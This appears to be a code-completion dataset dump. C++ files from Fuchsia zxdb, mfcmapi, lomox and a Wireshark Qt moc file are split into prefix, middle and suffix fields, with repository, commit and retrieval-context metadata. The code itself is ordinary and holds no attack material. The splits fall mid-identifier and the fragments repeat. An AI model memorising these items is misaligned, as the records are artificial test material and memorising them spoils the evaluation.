case 0b110100: case 0b110101: return "Watchpoint exception"; case 0b111000: return "BKPT instruction"; case 0b111100: return "BRK instruction"; } return std::string(); } } OutputBuffer FormatException(const ConsoleContext* context, const Thread* thread, const debug_ipc::ExceptionRecord& record) { std::string heading = ExceptionRecordToString(thread->session()->arch(), record); size_t divider_length = std::min<size_t>(heading.size() + 2, 80); std::string divider; for (size_t i = 0; i < divider_length; i++) divider += "═"; OutputBuffer out; out.Append(Syntax::kError, divider); out.Append("\n "); out.Append(Syntax::kHeading, heading); out.Append("\n"); out.Append(Syntax::kError, divider); out.Append("\n"); out.Append(" Process "); out.Append(Syntax::kSpecial, std::to_string(context->IdForTarget(thread->GetProcess()->GetTarget()))); out.Append(" ("); out.Append(Syntax::kVariable, "koid"); out.Append("="); out.Append(std::to_string(thread->GetProcess()->GetKoid())); out.Append(") "); out.Append("thread "); out.Append(Syntax::kSpecial, std::to_string(context->IdForThread(thread))); out.Append(" ("); out.Append(Syntax::kVariable, "koid"); out.Append("="); out.Append(std::to_string(thread->GetKoid())); out.Append(")\n"); const Stack& stack = thread->GetStack(); if (!stack.empty()) { out.Append(" Faulting instruction: " + to_hex_string(stack[0]->GetAddress())); out.Append("\n"); } return out; } std::string ExceptionRecordToString(debug::Arch arch, const debug_ipc::ExceptionRecord& record) { if (!record.valid) return "No exception information"; std::string suffix = (record.strategy == debug_ipc::ExceptionStrategy::kSecondChance) ? " (second chance)" : ""; switch (arch) { case debug::Arch::kUnknown: return "Unknown architecture"; case debug::Arch::kX64: return X64ExceptionRecordToString(record) + suffix; case debug::Arch::kArm64: return Arm64ExceptionRecordToString(record) + suffix; } FX_NOTREACHED(); return std::string(); } }
#include "src/developer/debug/zxdb/console/format_exception.h" #include <lib/syslog/cpp/macros.h> #include <algorithm> #include "src/developer/debug/zxdb/client/frame.h" #include "src/developer/debug/zxdb/client/process.h" #include "src/developer/debug/zxdb/client/session.h" #include "src/developer/debug/zxdb/client/stack.h" #include "src/developer/debug/zxdb/client/system.h" #include "src/developer/debug/zxdb/client/thread.h" #include "src/developer/debug/zxdb/common/string_util.h" #include "src/developer/debug/zxdb/console/console_context.h" namespace zxdb { namespace { std::string X64PageFaultToString(const debug_ipc::ExceptionRecord& record) { constexpr uint32_t kPresentBit = 1 << 0; constexpr uint32_t kWriteBit = 1 << 1; constexpr uint32_t kInstructionFetchBit = 1 << 4; std::string result = "Page fault "; if (record.arch.x64.err_code & kInstructionFetchBit) result += "executing "; else if (record.arch.x64.err_code & kWriteBit) result += "writing "; else result += "reading "; result += "address "; result += to_hex_string(record.arch.x64.cr2); if (record.arch.x64.err_code & kPresentBit) result += " (page protection violation)"; return result; } std::string X64ExceptionRecordToString(const debug_ipc::ExceptionRecord& record) { switch (record.arch.x64.vector) { case 0: return "Divide-by-zero exception"; case 1: return "Debug exception"; case 2: return "Non-maskable interrupt"; case 3: return "Breakpoint exception"; case 4: return "Overflow exception"; case 5: return "Bound range exceeded exception"; case 6: return "Invalid opcode exception"; case 7: return "No math coprocessor present exception"; case 8: return "Double fault"; case 9: return "CoProcessor segment overrun exception"; case 10: return "Invalid TSS exception"; case 11: return "Segment not present exception"; case 12: return "Stack segment fault"; case 13: return "General protection fault"; case 14: return X64PageFaultToString(record); case 15: return "Reserved exception"; case 16: return "Floating-point exception"; case 17: return "Alignment check exception"; case 18: return "Machine check exception"; case 19: return "SIMD floating-point exception"; case 20: return "Virtualization exception"; case 21: return "Control protection exception"; default: return "Unknown exception (" + std::to_string(record.arch.x64.vector) + ")"; } } std::string Arm64DataAbortToString(const debug_ipc::ExceptionRecord& record) { constexpr uint32_t kWriteNotReadBit = 1 << 6; std::string result = "Data fault "; if (record.arch.arm64.esr & kWriteNotReadBit) result += "writing "; else result += "reading "; result += "address "; result += to_hex_string(record.arch.arm64.far); uint32_t dfsc = record.arch.arm64.esr & 0b111111; const char* status = nullptr; switch (dfsc) { case 0b000000: status = "address size fault level 0"; break; case 0b000001: status = "address size fault level 1"; break; case 0b000010: status = "address size fault level 2"; break; case 0b000011: status = "address size fault level 3"; break; case 0b000100: status = "translation fault level 0"; break; case 0b000101: status = "translation fault level 1"; break; case 0b000110: status = "translation fault level 2"; break; case 0b000111: status = "translation fault level 3"; break; case 0b001001: status = "access fault level 1"; break; case 0b001010: status = "access fault level 2"; break; case 0b001011: status = "access fault level 3"; break; case 0b001101: status = "permission fault level 1"; break; case 0b001110: status = "permission fault level 2"; break; case 0b001111: status = "permission fault level 3"; break; case 0b010000: status = "external, not on translation table walk"; break; case 0b010001: status = "synchronous tag check fail"; break; case 0b010100: status = "external, on translation table walk level 0"; break; case 0b010101: status = "external, on translation table walk level 1"; break; case 0b010110: status = "external, on translation table walk level 2"; break; case 0b010111: status = "external, on translation table walk level 3"; break; case 0b011000: status = "parity/ECC error not on translation table walk"; break; case 0b011100: status = "parity/ECC error on translation table walk level 0"; break; case 0b011101: status = "parity/ECC error on translation table walk level 1"; break; case 0b011110: status = "parity/ECC error on translation table walk level 2"; break; case 0b011111: status = "parity/ECC error on translation table walk level 3"; break; case 0b100001: status = "alignment fault"; break; case 0b110000: status = "TLB conflict"; break; case 0b110001: status = "unsupported atomic hardware updated"; break; case 0b110100: status = "implementation defined - lockdown"; break; case 0b110101: status = "implementation defined - unsupported exclusive or atomic"; break; case 0b111101: status = "section domain fault"; break; case 0b111110: status = "page domain fault"; break; } if (status) { result += " ("; result += status; result += ")"; } return result; } std::string Arm64ExceptionRecordToString(const debug_ipc::ExceptionRecord& record) { uint32_t ec = (record.arch.arm64.esr >> 26) & 0b111111; switch (ec) { case 0b000000: return "Unknown exception"; case 0b000001: return "Trapped WFI or WFE execution"; case 0b000011: return "Wrapped MCR or MRC access"; case 0b000100: return "Trapped MCRR or MRRC"; case 0b000101: return "Trapped MCR or MRC access"; case 0b000110: return "Trapped LDC or STC access"; case 0b000111: return "SVE/SIMD/FP exception"; case 0b001100: return "Trapped MRRC exception"; case 0b001101: return "Branch target exception"; case 0b001110: return "Illegal execution state exception"; case 0b010001: case 0b010101: return "SVC instruction execution"; case 0b011000: return "Wrapped MSR, MRS, or system instruction exception"; case 0b011001: return "Access to SVE exception"; case 0b011100: return "Pointer authentication failure exception"; case 0b100000: case 0b100001: return "Instruction abort (MMU fault)"; case 0b100010: return "PC alignment fault exception"; case 0b100100: case 0b100101: return Arm64DataAbortToString(record); case 0b100110: return "SP alignment fault exception"; case 0b101000: case 0b101100: return "Wrapped floating-point exception"; case 0b101111: return "SError interrupt"; case 0b110000: case 0b110001: return "Breakpoint exception"; case 0b110010: case 0b110011: return "Software step exception"; case 0b110100: case 0b110101: return "Watchpoint exception"; case 0b111000: return "BKPT instruction"; case 0b111100: return "BRK instruction"; } return std::string(); } }
std::string ExceptionRecordToString(debug::Arch arch, const debug_ipc::ExceptionRecord& record) { if (!record.valid) return "No exception information"; std::string suffix = (record.strategy == debug_ipc::ExceptionStrategy::kSecondChance) ? " (second chance)" : ""; switch (arch) { case debug::Arch::kUnknown: return "Unknown architecture"; case debug::Arch::kX64: return X64ExceptionRecordToString(record) + suffix; case debug::Arch::kArm64: return Arm64ExceptionRecordToString(record) + suffix; } FX_NOTREACHED(); return std::string(); } }
OutputBuffer FormatException(const ConsoleContext* context, const Thread* thread, const debug_ipc::ExceptionRecord& record) { std::string heading = ExceptionRecordToString(thread->session()->arch(), record); size_t divider_length = std::min<size_t>(heading.size() + 2, 80); std::string divider; for (size_t i = 0; i < divider_length; i++) divider += "═"; OutputBuffer out; out.Append(Syntax::kError, divider); out.Append("\n "); out.Append(Syntax::kHeading, heading); out.Append("\n"); out.Append(Syntax::kError, divider); out.Append("\n"); out.Append(" Process "); out.Append(Syntax::kSpecial, std::to_string(context->IdForTarget(thread->GetProcess()->GetTarget()))); out.Append(" ("); out.Append(Syntax::kVariable, "koid"); out.Append("="); out.Append(std::to_string(thread->GetProcess()->GetKoid())); out.Append(") "); out.Append("thread "); out.Append(Syntax::kSpecial, std::to_string(context->IdForThread(thread))); out.Append(" ("); out.Append(Syntax::kVariable, "koid"); out.Append("="); out.Append(std::to_string(thread->GetKoid())); out.Append(")\n"); const Stack& stack = thread->GetStack(); if (!stack.empty()) { out.Append(" Faulting instruction: " + to_hex_string(stack[0]->GetAddress())); out.Append("\n"); } return out; }
function_block-full_function
[]
C++
core/model/mapiRowModel.cpp
princesly/mfcmapi
814f4588c41df6a92bac961e9d7562cd4b7633fe
#include <core/stdafx.h> #include <core/model/mapiRowModel.h> #include <core/smartview/SmartView.h> #include <core/mapi/cache/namedProps.h> #include <core/interpret/proptags.h> #include <core/property/parseProperty.h> #include <core/utility/error.h> #include <core/mapi/mapiFunctions.h> #include <core/mapi/mapiMemory.h> #include <core/utility/registry.h> namespace model { _Check_return_ std::shared_ptr<model::mapiRowModel> propToModelInternal( _In_opt_ const SPropValue* lpPropVal, _In_ const ULONG ulPropTag, _In_opt_ const LPMAPIPROP lpProp, _In_ const bool bIsAB, _In_opt_ const SBinary* sig, _In_opt_ const MAPINAMEID* lpNameID) { auto ret = std::make_shared<model::mapiRowModel>(); ret->ulPropTag(ulPropTag); const auto propTagNames = proptags::PropTagToPropName(ulPropTag, bIsAB); const auto namePropNames = cache::NameIDToStrings(ulPropTag, lpProp, lpNameID, sig, bIsAB); if (!propTagNames.bestGuess.empty()) { ret->name(propTagNames.bestGuess); } else if (!namePropNames.bestPidLid.empty()) { ret->name(namePropNames.bestPidLid); } else if (!namePropNames.name.empty()) { ret->name(namePropNames.name); } ret->otherName(propTagNames.otherMatches); if (!namePropNames.name.empty()) ret->namedPropName(namePropNames.name); if (!namePropNames.guid.empty()) ret->namedPropGuid(namePropNames.guid); if (lpPropVal) { std::wstring PropString; std::wstring AltPropString; property::parseProperty(lpPropVal, &PropString, &AltPropString); ret->value(PropString); ret->altValue(AltPropString); const auto szSmartView = smartview::parsePropertySmartView(lpPropVal, lpProp, lpNameID, sig, bIsAB, false); if (!szSmartView.empty()) ret->smartView(szSmartView); } return ret; } _Check_return_ std::vector<std::shared_ptr<model::mapiRowModel>> propsToModels( _In_ ULONG cValues, _In_opt_ const SPropValue* lpPropVals, _In_opt_ const LPMAPIPROP lpProp, _In_ const bool bIsAB) { if (!cValues || !lpPropVals) return {}; const SBinary* lpSigBin = nullptr; LPSPropValue lpMappingSigFromObject = nullptr; std::vector<std::shared_ptr<cache::namedPropCacheEntry>> namedPropCacheEntries = {}; if (!bIsAB && registry::parseNamedProps) { auto tags = std::vector<ULONG>{}; for (ULONG i = 0; i < cValues; i++) { tags.push_back(lpPropVals[i].ulPropTag); } if (!tags.empty()) { auto lpTags = mapi::allocate<LPSPropTagArray>(CbNewSPropTagArray(static_cast<ULONG>(tags.size()))); if (lpTags) { lpTags->cValues = static_cast<ULONG>(tags.size()); ULONG i = 0; for (const auto tag : tags) { mapi::setTag(lpTags, i++) = tag; } const SPropValue* lpMappingSig = mapi::FindProp(lpPropVals, cValues, PR_MAPPING_SIGNATURE); if (lpMappingSig && lpMappingSig->ulPropTag == PR_MAPPING_SIGNATURE) lpSigBin = &mapi::getBin(lpMappingSig); if (!lpSigBin && lpProp) { WC_H_S(HrGetOneProp(lpProp, PR_MAPPING_SIGNATURE, &lpMappingSigFromObject)); if (lpMappingSigFromObject && lpMappingSigFromObject->ulPropTag == PR_MAPPING_SIGNATURE) lpSigBin = &mapi::getBin(lpMappingSigFromObject); } namedPropCacheEntries = cache::GetNamesFromIDs(lpProp, lpSigBin, lpTags, NULL); MAPIFreeBuffer(lpTags); } } } auto models = std::vector<std::shared_ptr<model::mapiRowModel>>{}; for (ULONG i = 0; i < cValues; i++) { const auto prop = lpPropVals[i]; const auto lpNameID = cache::find( namedPropCacheEntries, [&](const auto& _entry) { return _entry->getPropID() == PROP_ID(prop.ulPropTag); }); models.push_back( model::propToModelInternal(&prop, prop.ulPropTag, lpProp, bIsAB, lpSigBin, lpNameID->getMapiNameId())); } if (lpMappingSigFromObject) MAPIFreeBuffer(lpMappingSigFromObject); return models; } _Check_return_ std::shared_ptr<model::mapiRowModel> propToModel( _In_ const SPropValue* lpPropVal, _In_ const ULONG ulPropTag, _In_opt_ const LPMAPIPROP lpProp, _In_ const bool bIsAB) { return propToModelInternal(lpPropVal, ulPropTag, lpProp, bIsAB, nullptr, nullptr); } }
#include <core/stdafx.h> #include <core/model/mapiRowModel.h> #include <core/smartview/SmartView.h> #include <core/mapi/cache/namedProps.h> #include <core/interpret/proptags.h> #include <core/property/parseProperty.h> #include <core/utility/error.h> #include <core/mapi/mapiFunctions.h> #include <core/mapi/mapiMemory.h> #include <core/utility/registry.h> namespace model { _Check_return_ std::shared_ptr<model::mapiRowModel> propToModelInternal( _In_opt_ const SPropValue* lpPropVal, _In_ const ULONG ulPropTag, _In_opt_ const LPMAPIPROP lpProp, _In_ const bool bIsAB, _In_opt_ const SBinary* sig, _In_opt_ const MAPINAMEID* lpNameID) { auto ret = std::make_shared<model::mapiRowModel>(); ret->ulPropTag(ulPropTag); const auto propTagNames = proptags::PropTagToPropName(ulPropTag, bIsAB); const auto namePropNames = cache::NameIDToStrings(ulPropTag, lpProp, lpNameID, sig, bIsAB); if (!propTagNames.bestGuess.empty()) { ret->name(propTagNames.bestGuess); } else if (!namePropNames.bestPidLid.empty()) { ret->name(namePropNames.bestPidLid); } else if (!namePropNames.name.empty()) { ret->name(namePropNames.name); } ret->otherName(propTagNames.otherMatches); if (!namePropNames.name.empty()) ret->namedPropName(namePropNames.name); if (!namePropNames.guid.empty()) ret->namedPropGuid(namePropNames.guid); if (lpPropVal) { std::wstring PropString; std::wstring AltPropString; property::parseProperty(lpPropVal, &PropString, &AltPropString); ret->value(PropString); ret->altValue(AltPropString); const auto szSmartView = smartview::parsePropertySmartView(lpPropVal, lpProp, lpNameID, sig, bIsAB, false); if (!szSmartView.empty()) ret->smartView(szSmartView); } return ret; } _Check_return_ std::vector<std::shared_ptr<model::mapiRowModel>> propsToModels( _In_ ULONG cValues, _In_opt_ const SPropValue* lpPropVals, _In_opt_ const LPMAPIPROP lpProp, _In_ const bool bIsAB) { if (!cValues || !lpPropVals) return {}; const SBinary* lpSigBin = nullptr; LPSPropValue lpMappingSigFromObject = nullptr; std::vector<std::shared_ptr<cache::namedPropCacheEntry>> namedPropCacheEntries = {}; if (!bIsAB && registry::parseNamedProps) { auto tags = std::vector<ULONG>{}; for (ULONG i = 0; i < cValues; i++) { tags.push_back(lpPropVals[i].ulPropTag); } if (!tags.empty()) { auto lpTags = mapi::allocate<LPSPropTagArray>(CbNewSPropTagArray(static_cast<ULONG>(tags.size()))); if (lpTags) { lpTags->cValues = static_cast<ULONG>(tags.size()); ULONG i = 0; for (const auto tag : tags) { mapi::setTag(lpTags, i++) = tag; } const SPropValue* lpMappingSig = mapi::FindProp(lpPropVals, cValues, PR_MAPPING_SIGNATURE); if (lpMappingSig && lpMappingSig->ulPropTag == PR_MAPPING_SIGNATURE) lpSigBin = &mapi::getBin(lpMappingSig); if (!lpSigBin && lpProp) { WC_H_S(HrGetOneProp(lpProp, PR_MAPPING_SIGNATURE, &lpMappingSigFromObject)); if (lpMappingSigFromO
_Check_return_ std::shared_ptr<model::mapiRowModel> propToModel( _In_ const SPropValue* lpPropVal, _In_ const ULONG ulPropTag, _In_opt_ const LPMAPIPROP lpProp, _In_ const bool bIsAB) { return propToModelInternal(lpPropVal, ulPropTag, lpProp, bIsAB, nullptr, nullptr); } }
bject && lpMappingSigFromObject->ulPropTag == PR_MAPPING_SIGNATURE) lpSigBin = &mapi::getBin(lpMappingSigFromObject); } namedPropCacheEntries = cache::GetNamesFromIDs(lpProp, lpSigBin, lpTags, NULL); MAPIFreeBuffer(lpTags); } } } auto models = std::vector<std::shared_ptr<model::mapiRowModel>>{}; for (ULONG i = 0; i < cValues; i++) { const auto prop = lpPropVals[i]; const auto lpNameID = cache::find( namedPropCacheEntries, [&](const auto& _entry) { return _entry->getPropID() == PROP_ID(prop.ulPropTag); }); models.push_back( model::propToModelInternal(&prop, prop.ulPropTag, lpProp, bIsAB, lpSigBin, lpNameID->getMapiNameId())); } if (lpMappingSigFromObject) MAPIFreeBuffer(lpMappingSigFromObject); return models; }
function_block-function_prefixed
[ { "content": " LPBYTE lpTag; /* X.400 OID for this attachment type */\n", "file_path": "include/MAPI.h", "rank": 0, "score": 144757.1169941924 }, { "content": "\tULONG ulPropTag;\n", "file_path": "include/MAPIDefS.h", "rank": 1, "score": 136221.70807338264 ...
C++
lomox/lxfile.cpp
jjzhang166/lomox
7641df8c9d6de86ed64d19aadb76a3c905683050
 #include "lomox_global.h" #include "lxfile.h" LxFile::LxFile( QObject* parent ) :LxOperate(parent) { } LxFile::LxFile( QObject* object, QWebView* pWebView, QString strApiName ) :LxOperate(object, pWebView, strApiName) { } LxFile::~LxFile() { } QVariant LxFile::readFileData(QVariant varFilename, QString readType,QString encode) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { QTextCodec::codecForName(encode.toLocal8Bit().data()); QFile file(varFilename.toString()); if(!file.open(QIODevice::ReadOnly)) { return QVariant(false); } if (readType.compare(QString("txt"), Qt::CaseInsensitive) == 0) { return QVariant(QString(file.readAll())); } else { return QVariant(file.readAll()); } } return QVariant(false); } QVariant LxFile::isExits( QVariant varFilename ) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { QFile file(varFilename.toString()); return QVariant(file.exists()); } else { return QVariant(false); } } QVariant LxFile::remove( QVariant varFilename ) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { return QFile::remove(varFilename.toString()); } else { return QVariant(false); } } QVariant LxFile::rename( QVariant varOldName, QVariant varNewName ) { if (!varOldName.isNull() && QVariant::String == varOldName.type()) { return QFile::rename(varOldName.toString(), varNewName.toString()); } else { return QVariant(false); } } QVariant LxFile::link( QVariant oldname, QVariant newName ) { if (!oldname.isNull() && QVariant::String == oldname.type()) { return QVariant(false); }else { return QVariant(false); } } QVariant LxFile::copy( QVariant varFileName, QVariant varNewName ) { if (!varFileName.isNull() && QVariant::String == varFileName.type() && !varNewName.isNull() && QVariant::String == varNewName.type() ) { qDebug(varFileName.toByteArray()); return QVariant(QFile::copy ( varFileName.toString(),varNewName.toString())); } else { return QVariant(false); } } QVariant LxFile::size( QVariant varFilename ) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { return QVariant(false); } else { return QVariant(false); } } QVariant LxFile::permissions( QVariant varFilename ) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { return QVariant(false); } else { return QVariant(false); } } QVariant LxFile::write(QVariant varFilename, QVariant text,QString encode) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { QTextCodec::codecForName(encode.toLocal8Bit().data()); QFile file(varFilename.toString()); if(!file.open(QIODevice::WriteOnly)) { return QVariant(-1); } return QVariant(file.write(text.toByteArray())); } else { return QVariant(-1); } }
 #include "lomox_global.h" #include "lxfile.h" LxFile::LxFile( QObject* parent ) :LxOperate(parent) { } LxFile::LxFile( QObject* object, QWebView* pWebView, QString strApiName ) :LxOperate(object, pWebView, strApiName) { } LxFile::~LxFile() { } QVariant LxFile::readFileData(QVariant varFilename, QString readType,QString encode) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { QTextCodec::codecForName(encode.toLocal8Bit().data()); QFile file(varFilename.toString()); if(!file.open(QIODevice::ReadOnly)) { return QVariant(false); } if (readType.compare(QString("txt"), Qt::CaseInsensitive) == 0) { return QVariant(QString(file.readAll())); } else { return QVariant(file.readAll()); } } return QVariant(false); } QVariant LxFile::isExits( QVariant varFilename ) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { QFile file(varFilename.toString()); return QVariant(file.exists()); } else { return QVariant(false); } } QVariant LxFile::remove( QVariant varFilename ) {
QVariant LxFile::rename( QVariant varOldName, QVariant varNewName ) { if (!varOldName.isNull() && QVariant::String == varOldName.type()) { return QFile::rename(varOldName.toString(), varNewName.toString()); } else { return QVariant(false); } } QVariant LxFile::link( QVariant oldname, QVariant newName ) { if (!oldname.isNull() && QVariant::String == oldname.type()) { return QVariant(false); }else { return QVariant(false); } } QVariant LxFile::copy( QVariant varFileName, QVariant varNewName ) { if (!varFileName.isNull() && QVariant::String == varFileName.type() && !varNewName.isNull() && QVariant::String == varNewName.type() ) { qDebug(varFileName.toByteArray()); return QVariant(QFile::copy ( varFileName.toString(),varNewName.toString())); } else { return QVariant(false); } } QVariant LxFile::size( QVariant varFilename ) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { return QVariant(false); } else { return QVariant(false); } } QVariant LxFile::permissions( QVariant varFilename ) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { return QVariant(false); } else { return QVariant(false); } } QVariant LxFile::write(QVariant varFilename, QVariant text,QString encode) { if (!varFilename.isNull() && QVariant::String == varFilename.type()) { QTextCodec::codecForName(encode.toLocal8Bit().data()); QFile file(varFilename.toString()); if(!file.open(QIODevice::WriteOnly)) { return QVariant(-1); } return QVariant(file.write(text.toByteArray())); } else { return QVariant(-1); } }
if (!varFilename.isNull() && QVariant::String == varFilename.type()) { return QFile::remove(varFilename.toString()); } else { return QVariant(false); } }
function_block-function_prefix_line
[ { "content": "", "file_path": "lomox/include/lxresources.h", "rank": 0, "score": 90978.7207877371 }, { "content": "", "file_path": "lomox/include/lxHttp.h", "rank": 1, "score": 88685.39681956625 }, { "content": "#define RETURN\t\t\t\t\t\treturn\n\n\n", "file_path": "l...
C++
resources/Wireshark/WiresharkDissectorFoo/ui/qt/moc_main_status_bar.cpp
joshis1/C_Programming
4a8003321251448a167bfca0b595c5eeab88608d
#include "main_status_bar.h" #include <QtCore/qbytearray.h> #include <QtCore/qmetatype.h> #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'main_status_bar.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 67 #error "This file was generated using the moc from 5.6.1. It" #error "cannot be used with the include files from this version of Qt." #error "(The moc has changed too much.)" #endif QT_BEGIN_MOC_NAMESPACE struct qt_meta_stringdata_MainStatusBar_t { QByteArrayData data[52]; char stringdata0[767]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_MainStatusBar_t, stringdata0) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const qt_meta_stringdata_MainStatusBar_t qt_meta_stringdata_MainStatusBar = { { QT_MOC_LITERAL(0, 0, 13), QT_MOC_LITERAL(1, 14, 14), QT_MOC_LITERAL(2, 29, 0), QT_MOC_LITERAL(3, 30, 18), QT_MOC_LITERAL(4, 49, 11), QT_MOC_LITERAL(5, 61, 14), QT_MOC_LITERAL(6, 76, 13), QT_MOC_LITERAL(7, 90, 2), QT_MOC_LITERAL(8, 93, 20), QT_MOC_LITERAL(9, 114, 17), QT_MOC_LITERAL(10, 132, 23), QT_MOC_LITERAL(11, 156, 19), QT_MOC_LITERAL(12, 176, 7), QT_MOC_LITERAL(13, 184, 18), QT_MOC_LITERAL(14, 203, 14), QT_MOC_LITERAL(15, 218, 10), QT_MOC_LITERAL(16, 229, 13), QT_MOC_LITERAL(17, 243, 15), QT_MOC_LITERAL(18, 259, 14), QT_MOC_LITERAL(19, 274, 14), QT_MOC_LITERAL(20, 289, 13), QT_MOC_LITERAL(21, 303, 16), QT_MOC_LITERAL(22, 320, 15), QT_MOC_LITERAL(23, 336, 14), QT_MOC_LITERAL(24, 351, 13), QT_MOC_LITERAL(25, 365, 18), QT_MOC_LITERAL(26, 384, 7), QT_MOC_LITERAL(27, 392, 17), QT_MOC_LITERAL(28, 410, 9), QT_MOC_LITERAL(29, 420, 9), QT_MOC_LITERAL(30, 430, 20), QT_MOC_LITERAL(31, 451, 5), QT_MOC_LITERAL(32, 457, 17), QT_MOC_LITERAL(33, 475, 20), QT_MOC_LITERAL(34, 496, 23), QT_MOC_LITERAL(35, 520, 16), QT_MOC_LITERAL(36, 537, 11), QT_MOC_LITERAL(37, 549, 28), QT_MOC_LITERAL(38, 578, 19), QT_MOC_LITERAL(39, 598, 12), QT_MOC_LITERAL(40, 611, 2), QT_MOC_LITERAL(41, 614, 16), QT_MOC_LITERAL(42, 631, 15), QT_MOC_LITERAL(43, 647, 16), QT_MOC_LITERAL(44, 664, 7), QT_MOC_LITERAL(45, 672, 14), QT_MOC_LITERAL(46, 687, 15), QT_MOC_LITERAL(47, 703, 13), QT_MOC_LITERAL(48, 717, 15), QT_MOC_LITERAL(49, 733, 10), QT_MOC_LITERAL(50, 744, 15), QT_MOC_LITERAL(51, 760, 6) }, "MainStatusBar\0showExpertInfo\0\0" "editCaptureComment\0stopLoading\0" "setCaptureFile\0capture_file*\0cf\0" "selectedFieldChanged\0FieldInformation*\0" "highlightedFieldChanged\0pushTemporaryStatus\0" "message\0popTemporaryStatus\0pushFileStatus\0" "messagetip\0popFileStatus\0pushFieldStatus\0" "popFieldStatus\0pushByteStatus\0" "popByteStatus\0pushFilterStatus\0" "popFilterStatus\0pushBusyStatus\0" "popBusyStatus\0pushProgressStatus\0" "animate\0terminate_is_stop\0gboolean*\0" "stop_flag\0updateProgressStatus\0value\0" "popProgressStatus\0selectedFrameChanged\0" "updateCaptureStatistics\0capture_session*\0" "cap_session\0updateCaptureFixedStatistics\0" "captureEventHandler\0CaptureEvent\0ev\0" "pushPacketStatus\0popPacketStatus\0" "toggleBackground\0enabled\0setProfileName\0" "switchToProfile\0manageProfile\0" "showProfileMenu\0global_pos\0Qt::MouseButton\0" "button" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_MainStatusBar[] = { 7, 0, 0, 0, 36, 14, 0, 0, 0, 0, 0, 0, 0, 3, 1, 0, 194, 2, 0x06 , 3, 0, 195, 2, 0x06 , 4, 0, 196, 2, 0x06 , 5, 1, 197, 2, 0x0a , 8, 1, 200, 2, 0x0a , 10, 1, 203, 2, 0x0a , 11, 1, 206, 2, 0x0a , 13, 0, 209, 2, 0x0a , 14, 2, 210, 2, 0x0a , 14, 1, 215, 2, 0x2a , 16, 0, 218, 2, 0x0a , 17, 1, 219, 2, 0x0a , 18, 0, 222, 2, 0x0a , 19, 1, 223, 2, 0x0a , 20, 0, 226, 2, 0x0a , 21, 1, 227, 2, 0x0a , 22, 0, 230, 2, 0x0a , 23, 2, 231, 2, 0x0a , 23, 1, 236, 2, 0x2a , 24, 0, 239, 2, 0x0a , 25, 4, 240, 2, 0x0a , 25, 3, 249, 2, 0x2a , 25, 2, 256, 2, 0x2a , 30, 1, 261, 2, 0x0a , 32, 0, 264, 2, 0x0a , 33, 1, 265, 2, 0x0a , 34, 1, 268, 2, 0x0a , 37, 1, 271, 2, 0x0a , 38, 1, 274, 2, 0x0a , 41, 1, 277, 2, 0x08 , 42, 0, 280, 2, 0x08 , 43, 1, 281, 2, 0x08 , 45, 0, 284, 2, 0x08 , 46, 0, 285, 2, 0x08 , 47, 0, 286, 2, 0x08 , 48, 2, 287, 2, 0x08 , QMetaType::Void, QMetaType::Void, QMetaType::Void, QMetaType::Void, 0x80000000 | 6, 7, QMetaType::Void, 0x80000000 | 9, 2, QMetaType::Void, 0x80000000 | 9, 2, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, QMetaType::QString, 12, 15, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, QMetaType::QString, 12, 15, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::QString, QMetaType::Bool, QMetaType::Bool, 0x80000000 | 28, 12, 26, 27, 29, QMetaType::Void, QMetaType::QString, QMetaType::Bool, QMetaType::Bool, 12, 26, 27, QMetaType::Void, QMetaType::QString, QMetaType::Bool, 12, 26, QMetaType::Void, QMetaType::Int, 31, QMetaType::Void, QMetaType::Void, QMetaType::Int, 2, QMetaType::Void, 0x80000000 | 35, 36, QMetaType::Void, 0x80000000 | 35, 36, QMetaType::Void, 0x80000000 | 39, 40, QMetaType::Void, QMetaType::QString, 12, QMetaType::Void, QMetaType::Void, QMetaType::Bool, 44, QMetaType::Void, QMetaType::Void, QMetaType::Void, QMetaType::Void, QMetaType::QPoint, 0x80000000 | 50, 49, 51, 0 }; void MainStatusBar::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { if (_c == QMetaObject::InvokeMetaMethod) { MainStatusBar *_t = static_cast<MainStatusBar *>(_o); Q_UNUSED(_t) switch (_id) { case 0: _t->showExpertInfo(); break; case 1: _t->editCaptureComment(); break; case 2: _t->stopLoading(); break; case 3: _t->setCaptureFile((*reinterpret_cast< capture_file*(*)>(_a[1]))); break; case 4: _t->selectedFieldChanged((*reinterpret_cast< FieldInformation*(*)>(_a[1]))); break; case 5: _t->highlightedFieldChanged((*reinterpret_cast< FieldInformation*(*)>(_a[1]))); break; case 6: _t->pushTemporaryStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 7: _t->popTemporaryStatus(); break; case 8: _t->pushFileStatus((*reinterpret_cast< const QString(*)>(_a[1])),(*reinterpret_cast< const QString(*)>(_a[2]))); break; case 9: _t->pushFileStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 10: _t->popFileStatus(); break; case 11: _t->pushFieldStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 12: _t->popFieldStatus(); break; case 13: _t->pushByteStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 14: _t->popByteStatus(); break; case 15: _t->pushFilterStatus((*reinterpret_cast< const QString(*)>(_a[1]))); break; case 16: 